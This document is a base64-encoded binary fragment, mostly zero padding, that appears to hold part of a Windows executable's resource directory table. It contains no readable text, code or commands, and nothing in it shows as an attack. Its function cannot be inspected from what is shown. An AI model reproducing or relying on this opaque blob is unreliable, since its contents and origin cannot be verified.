AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMRUAICoAACAKlEAgMAAAICsUACA GAEAgJhQAIBAAQCA3lQAgAACAICmUgCAGAIAgIBUAIAwAgCAAQAAAEgCAIACAAAAUAQAgAMA AAAgBwCABAAAAAAIAIAFAAAAKAgAgAYAAAAQCQCACQAAADgMAIAKAAAAWAwAgAwAAADwDACA DgAAAJAOAIAQAAAAyA4AgPAAAADgDgCAAAAAAAAAAAAAAAAAAQAAAMxUAID4DgCAAAAAAAAA AAAAAAAACQAAAD5RAIAQDwCAWFIAgCgPAIAuUgCAQA8AgApSAIBYDwCAilEAgHAPAIBiUQCA iA8AgOJRAICgDwCAtFEAgLgPAICAUgCA0A8AgAAAAAAAAAAAAAAAAAMAAAC+UACA6A8AgOZQ AIAAEACADFEAgBgQAIAAAAAAAAAAAAAAAAAAABYAAQAAADAQAIACAAAASBAAgAMAAABgEACA BAAAAHgQAIAFAAAAkBAAgAYAAACoEACABwAAAMAQAIAIAAAA2BAAgAkAAADwEACACgAAAAgR AIALAAAAIBEAgAwAAAA4EQCADQAAAFARAIAOAAAAaBEAgA8AAACAEQCAEAAAAJgRAIARAAAA sBEAgBIAAADIEQCAEwAAAOARAIAUAAAA+BEAgGUAAAAQEgCAZgAAACgSAIAAAAAAAAAAAAAA AAAAAAEALQEAAEASAIAAAAAAAAAAAAAAAAABAAAAsFIAgFgSAIAAAAAAAAAAAAAAAAABAAAA gFQAgHASAIAAAAAAAAAAAAAAAAAAAD8AAQAAAIgSAIACAAAAoBIAgAMAAAC4EgCABAAAANAS AIAFAAAA6BIAgAYAAAAAEwCABwAAABgTAIAIAAAAMBMAgAkAAABIEwCACgAAAGATAIALAAAA eBMAgAwAAACQEwCADQAAAKgTAIAOAAAAwBMAgA8AAADYEwCAEAAAAPATAIARAAAACBQAgBIA AAAgFACAEwAAADgUAIAUAAAAUBQAgBUAAABoFACAFgAAAIAUAIAXAAAAmBQAgBgAAACwFACA GQAAAMgUAIAaAAAA4BQAgBsAAAD4FACAHAAAABAVAIAdAAAAKBUAgB4AAABAFQCAHwAAAFgV AIAgAAAAcBUAgCEAAACIFQCAIgAAAKAVAIAjAAAAuBUAgCQAAADQFQCAJQAAAOgVAIAmAAAA ABYAgCcAAAAYFgCAQgAAADAWAIBDAAAASBYAgEQAAABgFgCARQAAAHgWAIBGAAAAkBYAgEcA AACoFgCASAAAAMAWAIBJAAAA2BYAgEoAAADwFgCASwAAAAgXAIBMAAAAIBcAgE0AAAA4FwCA TgAAAFAXAIBPAAAAaBcAgFAAAACAFwCAUQAAAJgXAIBSAAAAsBcAgFMAAADIFwCAVAAAAOAX AIBVAAAA+BcAgFYAAAAQGACAVwAAACgYAIBYAAAAQBgAgFkAAABYGACAAAAAAAAAAAAAAAAA AABYAAEAAABwGACAZwAAAIgYAIDMAAAAoBgAgM0AAAC4GACAzgAAANAYAIDPAAAA6BgAgNAA AAAAGQCA0QAAABgZAIDSAAAAMBkAgNkAAABIGQCA2gAAAGAZAIDfAAAAeBkAgOEAAACQGQCA 4gAAAKgZAIDjAAAAwBkAgOQAAADYGQCA5QAAAPAZAIDoAAAACBoAgOkAAAAgGgCA6gAAADga AIDrAAAAUBoAgOwAAABoGgCA7QAAAIAaAIDuAAAAmBoAgO8AAACwGgCA8AAAAMgaAIDxAAAA 4BoAgPIAAAD4GgCA8wAAABAbAID0AAAAKBsAgPwAAABAGwCA/gAAAFgbAIAkAQAAcBsAgNsB AACIGwCAjUcAAKAbAICORwAAuBsAgJFHAADQGwCAkkcAAOgbAICTRwAAABwAgJRHAAAYHACA okcAADAcAICjRwAASBwAgKRHAABgHACApUcAAHgcAICmRwAAkBwAgKdHAACoHACAqEcAAMAc AICpRwAA2BwAgKpHAADwHACAq0cAAAgdAICsRwAAIB0AgK1HAAA4HQCArkcAAFAdAICvRwAA aB0AgLBHAACAHQCAsUcAAJgdAICyRwAAsB0AgLNHAADIHQCAtEcAAOAdAIC1RwAA+B0AgLhH AAAQHgCAuUcAACgeAIC6RwAAQB4AgLtHAABYHgCAvEcAAHAeAIDFRwAAiB4AgMZHAACgHgCA x0cAALgeAIDIRwAA0B4AgMlHAADoHgCAykcAAAAfAIDWRwAAGB8AgNdHAAAwHwCA2EcAAEgf AIDZRwAAYB8AgNpHAAB4HwCA20cAAJAfAIDdRwAAqB8AgOFHAADAHwCA40cAANgfAIDmRwAA 8B8AgOdHAAAIIACA7UcAACAgAIDuRwAAOCAAgMdnAABQIACAEnkAAGggAIATeQAAgCAAgBR5 AACYIACAAAAAAAAAAAAAAAAAAAAaACgAAACwIACAKQAAAMggAIAqAAAA4CAAgCsAAAD4IACA LAAAABAhAIAtAAAAKCEAgC4AAABAIQCALwAAAFghAIAwAAAAcCEAgDEAAACIIQCAMgAAAKAh AIAzAAAAuCEAgDQAAADQIQCANQAAAOghAIA2AAAAACIAgDcAAAAYIgCAOAAAADAiAIA5AAAA SCIAgDoAAABgIgCAOwAAAHgiAIA8AAAAkCIAgD0AAACoIgCAPgAAAMAiAIA/AAAA2CIAgEAA AADwIgCAQQAAAAgjAIAAAAAAAAAAAAAAAAAAAAMAAQAAACAjAIC+RwAAOCMAgL9HAABQIwCA AAAAAAAAAAAAAAAAAAAbAGQAAABoIwCAZgAAAIAjAIBnAAAAmCMAgGgAAACwIwCA1wAAAMgj AIDYAAAA4CMAgAEBAAD4IwCABAEAABAkAIALAQAAKCQAgBIBAABAJACAGgEAAFgkAIAhAQAA cCQAgCUBAACIJACAJwEAAKAkAIDiAQAAuCQAgOQBAADQJACAAwYAAOgkAIAEBgAAACUAgP0u AAAYJQCAiEcAADAlAICJRwAASCUAgI9HAABgJQCAkEcAAHglAIC9RwAAkCUAgAF4AACoJQCA AngAAMAlAIADeAAA2CUAgAAAAAAAAAAAAAAAAAAAYwABAAAA8CUAgAIAAAAIJgCAAwAAACAm AIAEAAAAOCYAgAUAAABQJgCABwAAAGgmAIByAgAAgCYAgHMCAACYJgCAgQIAALAmAICCAgAA yCYAgJECAADgJgCAkgIAAPgmAICTAgAAECcAgKACAAAoJwCAoQIAAEAnAICiAgAAWCcAgLAC AABwJwCAsQIAAIgnAIDAAgAAoCcAgM8CAAC4JwCA0AIAANAnAIDRAgAA6CcAgNICAAAAKACA 0wIAABgoAIDfAgAAMCgAgOACAABIKACA4QIAAGAoAIDiAgAAeCgAgOMCAACQKACA7wIAAKgo AID+AgAAwCgAgA4DAADYKACAHQMAAPAoAIAeAwAACCkAgC0DAAAgKQCALgMAADgpAIAvAwAA UCkAgDIDAABoKQCAPQMAAIApAIA+AwAAmCkAgD8DAACwKQCAQAMAAMgpAIBBAwAA4CkAgEID AAD4KQCAQwMAABAqAIBEAwAAKCoAgEUDAABAKgCARgMAAFgqAIBHAwAAcCoAgEgDAACIKgCA SQMAAKAqAIBKAwAAuCoAgEsDAADQKgCATAMAAOgqAIBNAwAAACsAgE4DAAAYKwCATwMAADAr AIBQAwAASCsAgFEDAABgKwCAUgMAAHgrAIBTAwAAkCsAgFQDAACoKwCAVQMAAMArAIBWAwAA 2CsAgFcDAADwKwCAbAMAAAgsAIBtAwAAICwAgIsDAAA4LACA6QMAAFAsAIABBAAAaCwAgAIE AACALACAEgQAAJgsAIAVBAAAsCwAgBYEAADILACAcgQAAOAsAIB1BAAA+CwAgHYEAAAQLQCA 4wQAACgtAIDkBAAAQC0AgOUEAABYLQCAAQ4AAHAtAIBxDgAAiC0AgPEOAACgLQCA8g4AALgt AIDzDgAA0C0AgAEPAADoLQCAAg8AAAAuAIADDwAAGC4AgAUPAAAwLgCACQ8AAEguAIAKDwAA YC4AgBEPAAB4LgCAEg8AAJAuAIATDwAAqC4AgBkPAADALgCAGg8AANguAIAbDwAA8C4AgBwP AAAILwCAHQ8AACAvAIAAAAAAAAAAAAAAAAAAAAIAAQAAADgvAIAVeQAAUC8AgAAAAAAAAAAA AAAAABEAAACaVACAaC8AgBRTAICALwCA+lIAgJgvAIAkUwCAsC8AgExTAIDILwCA2lMAgOAv AIBsUwCA+C8AgIpTAIAQMACAtlMAgCgwAIDuUwCAQDAAgB5UAIBYMACA/FMAgHAwAIA0VACA iDAAgE5UAICgMACAwlIAgLgwAIDYUgCA0DAAgGZUAIDoMACAAAAAAAAAAAAAAAAAAAAyAMgA AAAAMQCAyQAAABgxAIDKAAAAMDEAgMsAAABIMQCAzAAAAGAxAID1AAAAeDEAgPYAAACQMQCA +QAAAKgxAID/AAAAwDEAgAoBAADYMQCACwEAAPAxAIAMAQAACDIAgA0BAAAgMgCAGAEAADgy AIAZAQAAUDIAgBoBAABoMgCAHgEAAIAyAIAfAQAAmDIAgCABAACwMgCAKAEAAMgyAICERwAA 4DIAgIZHAAD4MgCAh0cAABAzAICIRwAAKDMAgIlHAABAMwCAikcAAFgzAICLRwAAcDMAgIxH AACIMwCAlUcAAKAzAICWRwAAuDMAgJdHAADQMwCAmEcAAOgzAICZRwAAADQAgJpHAAAYNACA m0cAADA0AICcRwAASDQAgNRHAABgNACA1UcAAHg0AIABeQAAkDQAgAJ5AACoNACAA3kAAMA0 AIAEeQAA2DQAgAV5AADwNACABnkAAAg1AIAHeQAAIDUAgAh5AAA4NQCACXkAAFA1AIAKeQAA aDUAgAt5AACANQCADHkAAJg1AIAAAAAAAAAAAAAAAAAAAAUAAQAAALA1AIACAAAAyDUAgAMA AADgNQCABAAAAPg1AIDsRwAAEDYAgAAAAAAAAAAAAAAAAAAAAQABAAAAKDYAgAAAAAAAAAAA AAAAAAAAAQAaAQAAQDYAgAAAAAAAAAAAAAAAAAAAAQAJBAAAWDYAAAAAAAAAAAAAAAAAAAAA AQAJBAAAaDYAAAAAAAAAAAAAAAAAAAAAAQAJBAAAeDYAAAAAAAAAAAAAAAAAAAAAAQAJBAAA iDYAAAAAAAAAAAAAAAAAAAAAAQAJBAAAmDYAAAAAAAAAAAAAAAAAAAAAAQAJBAAAqDYAAAAA AAAAAAAAAAAAAAAAAQAJBAAAuDYAAAAAAAAAAAAAAAAAAAAAAQAJBAAAyDYAAAAAAAAAAAAA AAAAAAAAAQAJBAAA2DYAAAAAAAAAAAAAAAAAAAAAAQAJBAAA6DYAAAAAAAAAAAAAAAAAAAAA AQAJBAAA+DYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 